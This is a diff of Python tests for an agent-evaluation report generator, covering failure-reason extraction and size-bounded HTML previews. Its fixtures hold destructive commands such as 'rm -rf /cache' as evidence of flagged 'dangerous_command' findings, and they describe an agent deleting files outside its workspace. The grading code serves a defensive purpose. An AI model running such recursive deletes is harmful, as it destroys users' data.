+ finding = {"type": "dangerous_command", "evidence": "rm -rf /cache", "score_impact": True}
+ attribution = "The skill told the agent to delete the cache."
+
+ assert failure_reason({"findings": [finding]}) == "dangerous_command"
+ assert failure_reason({"findings": [finding] * 8, "attribution_explanation": attribution}) == "dangerous_command"
+
+
+def test_blank_candidates_do_not_count_toward_the_candidate_cap() -> None:
+ blank = {"evidence": "rm -rf /cache", "score_impact": True}
+ attribution = "The skill told the agent to delete the cache."
+ detail = {
+ "reason": " ",
+ "findings": [blank] * 8,
+ "results": [{"passed": False}] * 8,
+ "attribution_explanation": attribution,
+ }
+
+ assert failure_reason(detail) == attribution
+
+
+def test_reason_redacts_a_bounded_number_of_candidates() -> None:
+ repeated = [{"message": "Same destructive command", "score_impact": True}] * 64
+ detail = {"findings": [*repeated, {"message": "Late finding", "score_impact": True}]}
+
+ assert failure_reason(detail) == "Same destructive command"
+
+
+def test_excerpt_skips_passing_findings_and_falls_back_to_detail_evidence() -> None:
+ detail = {
+ "findings": [{"type": "refusal_observed", "evidence": "I will not do that", "score_impact": False}],
+ "evidence": " multi\n line excerpt ",
+ }
+
+ assert failure_excerpt(detail) == "multi\nline excerpt"
+ assert failure_excerpt({"findings": "not-a-list"}) == ""
+ assert failure_reason("not-a-dict") == ""
+
+
+# --- Size limits drop built reasons before anything else -------------------------
+
+_BULKY_REASON = (
+ "Agent executed potentially destructive command while cleaning caches; the grader observed an unbounded "
+ "recursive delete outside the declared workspace and flagged it as score impacting"
+)
+
+
+def _failing_multi_agent_payload(agents: int, trials: int) -> dict[str, Any]:
+ """Two of six with-skill and four of six baseline metrics fail on every trial."""
+ infos: dict[str, Any] = {}
+ for agent_index in range(agents):
+ arms: dict[str, list[dict[str, Any]]] = {}
+ for arm, failing in (("rewards", METRICS[:2]), ("rewards_baseline", METRICS[:4])):
+ arms[arm] = [
+ {
+ "trial_id": f"{arm}-{agent_index}-{index}",
+ "entry_id": f"case-{index}",
+ **dict.fromkeys(METRICS, 0.9),
+ **dict.fromkeys(failing, 0.2),
+ "details": {
+ metric: {
+ "passed": False,
+ "findings": [_finding(f"rm -rf build-{index}", message=f"{_BULKY_REASON} ({metric})")],
+ }
+ for metric in failing
+ },
+ }
+ for index in range(trials)
+ ]
+ infos[f"agent-{agent_index}"] = {
+ "execution_status": "succeeded",
+ "expected_attempts": 2 * trials,
+ "scored_attempts": 2 * trials,
+ "with_skill": _mean_scores(arms["rewards"]),
+ "without_skill": _mean_scores(arms["rewards_baseline"]),
+ **arms,
+ "num_trials": trials,
+ "num_trials_baseline": trials,
+ }
+ payload = build_agent_eval_payload("demo", infos, use_llm_judge=False)
+ assert payload is not None
+ return payload
+
+
+def _display_data(payload: dict[str, Any]) -> dict[str, Any]:
+ result = ValidationResult(validator_name="AGENT_EVAL", validator_description="Live evaluation")
+ result.metadata["agent_eval"] = payload
+ data = HTMLReporter(include_timestamp=False)._tier3_report_data([result])
+ assert data is not None
+ return data
+
+
+def _reason_count(payload: dict[str, Any]) -> int:
+ return len(list(failure_reason_text_slots(payload)))
+
+
+def _rendered_reason_count(payload: dict[str, Any]) -> int:
+ """Reasons the page renders: agents' cards and drill-down rows, not the top-level card copy."""
+ return len(list(failure_reason_text_slots(payload, include_top_level_cards=False)))
+
+
+def _compact_size(value: object) -> int:
+ return len(json.dumps(value, ensure_ascii=False, separators=(",", ":")).encode("utf-8"))
+
+
+def _overview_ids(payload: dict[str, Any]) -> tuple[Any, ...]:
+ return (
+ payload["best_agent"],
+ [dimension["id"] for dimension in payload["dimensions"]],
+ {name: [card["id"] for card in agent["evaluator_cards"]] for name, agent in payload["agents"].items()},
+ )
+
+
+def test_html_preview_keeps_the_overview_when_failure_reasons_overflow_it() -> None:
+ # Without reasons this run renders in full; with them it crosses the preview
+ # trigger. Reasons must not spend the preview budget ahead of the overview.
+ payload = _failing_multi_agent_payload(2, 40)
+ data = _display_data(payload)
+ all_reasons = _reason_count(data)
+ total = _rendered_reason_count(data)
+ assert _compact_size(data) > html_module._TIER3_HTML_PREVIEW_TRIGGER_BYTES
+
+ preview, notice = html_module._bounded_tier3_preview(data)
+
+ assert preview is not None
+ assert _compact_size(preview) <= html_module._TIER3_HTML_PREVIEW_TRIGGER_BYTES
+ assert _overview_ids(preview) == _overview_ids(data)
+ assert data["best_agent"] and all(_overview_ids(data)[1])
+ assert set(notice) == {"failure_reasons"}
+ # The preview drops the unrendered top-level card copy without counting it.
+ assert _reason_count(preview) == _rendered_reason_count(preview)
+ kept = _rendered_reason_count(preview)
+ assert 0 < kept < total
+ assert kept + notice["failure_reasons"] == total
+ # The canonical payload embedded next to the preview keeps every reason.
+ assert _reason_count(data) == all_reasons > total
+
+ html = _render(payload)
+ assert f"HTML preview left out {notice['failure_reasons']} failure reasons or excerpts" in html
+ assert "HTML preview omitted" not in html
+ assert "built-in method" not in html
+
+
+def test_html_preview_drops_failure_reasons_before_bounding_a_large_payload() -> None:
+ payload = _failing_multi_agent_payload(3, 60)
+ data = _display_data(payload)
+ total = _rendered_reason_count(data)
+
+ preview, notice = html_module._bounded_tier3_preview(data)
+
+ assert preview is not None
+ assert notice["failure_reasons"] == total
+ assert _reason_count(preview) == 0
+ assert preview["best_agent"] == data["best_agent"] != ""
+ # 180 with-skill rows across agents and 60 baseline rows per agent: the walk
+ # keeps 64 of each.
+ assert notice["trial_rows"] == 180 - 64
+
+ html = _render(payload)
+ # The character count depends on the environment, so it comes from the notice.
+ assert f"HTML preview omitted {notice['characters']} characters and {notice['items']} items." in html
+ assert f"HTML preview left out {total} failure reasons or excerpts" in html
+ assert f"The HTML preview left out {notice['trial_rows']} per-trial rows" in html
+
+
+def test_html_preview_does_not_report_unrendered_top_level_card_reasons() -> None:
+ # The page renders every reason of this run; only the top-level card copy,
+ # which the page never shows, did not fit.
+ payload = _failing_multi_agent_payload(2, 36)
+ data = _display_data(payload)
+ assert _compact_size(data) > html_module._TIER3_HTML_PREVIEW_TRIGGER_BYTES
+
+ preview, notice = html_module._bounded_tier3_preview(data)
+
+ assert preview is not None
+ assert notice == {}
+ assert _rendered_reason_count(preview) == _rendered_reason_count(data)
+ html = _render(payload)
+ assert "HTML preview left out" not in html
+ assert "HTML preview omitted" not in html
+
+
+def test_row_cap_note_appears_only_when_drilldown_rows_were_capped() -> None:
+ rewards = [_reward(entry_id=f"case-{index}", trial_id=f"case-{index}__attempt1") for index in range(20)]
+ baseline = [_reward(entry_id=f"case-{index}", trial_id=f"case-{index}__baseline1") for index in range(20)]
+ infos = {
+ "codex": {
+ "execution_status": "succeeded",
+ "expected_attempts": 40,
+ "scored_attempts": 40,
+ "with_skill": _mean_scores(rewards),
+ "without_skill": _mean_scores(baseline),
+ "rewards": rewards,
+ "rewards_baseline": baseline,
+ "num_trials": 20,
+ "num_trials_baseline": 20,
+ }
+ }
+ # A large dataset alone pushes the display payload over the preview trigger.
+ dataset = [{"id": f"case-{index}", "prompt": f"Prompt {index}: " + "p" * 3_000} for index in range(100)]
+ payload = build_agent_eval_payload("demo", infos, dataset=dataset, use_llm_judge=False)
+ assert payload is not None
+ data = _display_data(payload)
+ assert _compact_size(data) > html_module._TIER3_HTML_PREVIEW_TRIGGER_BYTES
+
+ preview, notice = html_module._bounded_tier3_preview(data)
+
+ assert preview is not None
+ assert notice.get("items", 0) > 0
+ assert "trial_rows" not in notice
+ html = _render(payload)
+ assert "per-trial row" not in html
+ table = _drilldown_table(html)
+ assert table.count("<td>With skill</td>") == 20
+ assert table.count("<td>Without skill</td>") == 20
+
+
+def test_canonical_budget_drops_failure_reasons_before_recorded_evidence(monkeypatch: pytest.MonkeyPatch) -> None:
+ full = _failing_multi_agent_payload(2, 10)
+ slim = copy.deepcopy(full)
+ removed = strip_failure_reason_text(slim)
+ assert removed == _reason_count(full) > 0
+ monkeypatch.setattr(tier3_report, "_MAX_EMBEDDED_REPORT_BYTES", (_compact_size(slim) + _compact_size(full)) // 2)
+
+ payload = _failing_multi_agent_payload(2, 10)
+
+ truncation = payload["report_truncation"]
+ assert truncation["omitted"] == {"failure_reasons": removed}
+ assert payload["agents"] == slim["agents"]
+ assert payload["trials"] == slim["trials"]
+ # Dropping reasons does not reduce the trial population dashboards count.
+ assert _trial_coverage_truncated(truncation) is False
diff --git a/tests/reporting/test_unified_tier3_report.py b/tests/reporting/test_unified_tier3_report.py
index b6903c7c..bb8b7e83 100644
--- a/tests/reporting/test_unified_tier3_report.py
+++ b/tests/reporting/test_unified_tier3_report.py
@@ -606,9 +606,9 @@ def test_trial_report_renders_unavailable_tokens_as_unavailable() -> None:
trials_html = _tier3_page(_render_agent_payload(payload), "trials", "agents")
- assert "With-Skill Steps per Eval Case" in trials_html
+ assert "Steps per Eval Case by Agent and Condition" in trials_html
assert "With-Skill Token Usage by Agent" not in trials_html
- assert "With-Skill Per-Evaluator Drill-Down" in trials_html
+ assert "Per-Evaluator Drill-Down" in trials_html
assert re.search(r"<td>4</td>\s*<td>—</td>", trials_html)
@@ -789,7 +789,12 @@ def test_trial_charts_preserve_token_and_step_counter_semantics() -> None:
assert 'id="tier3-token-chart"' in trials_html
assert '{ label: "Prompt (total)"' in html
assert '{ label: "Cached (included in prompt)"' in html
- assert "if (observed.length !== matching.length) return null;" in html
+ steps_chart = re.search(r"function stepsByCaseDatasets\(\) \{.*?var chart = (.*?);\n", html, re.DOTALL)
+ assert steps_chart is not None
+ assert json.loads(steps_chart.group(1)) == {
+ "labels": ["case-1"],
+ "datasets": [{"label": "codex \u00b7 With skill", "data": [4.0]}],
+ }
def test_authenticated_pre_status_rerender_preserves_historical_scores(tmp_path: Path) -> None:
@@ -2364,6 +2369,9 @@ def test_escape_heavy_payload_has_bounded_html_and_one_recoverable_canonical_cop
assert _embedded_tier3_payload(html)["dataset"][0]["prompt"] == escape_heavy_prompt
assert "HTML preview omitted" in html
assert "characters" in html
+ # ``notice.items`` once resolved to the dict method and rendered its repr.
+ assert re.search(r"HTML preview omitted \d+ characters\.", html)
+ assert "built-in method" not in html
def test_canonical_payload_enforces_total_serialized_budget() -> None: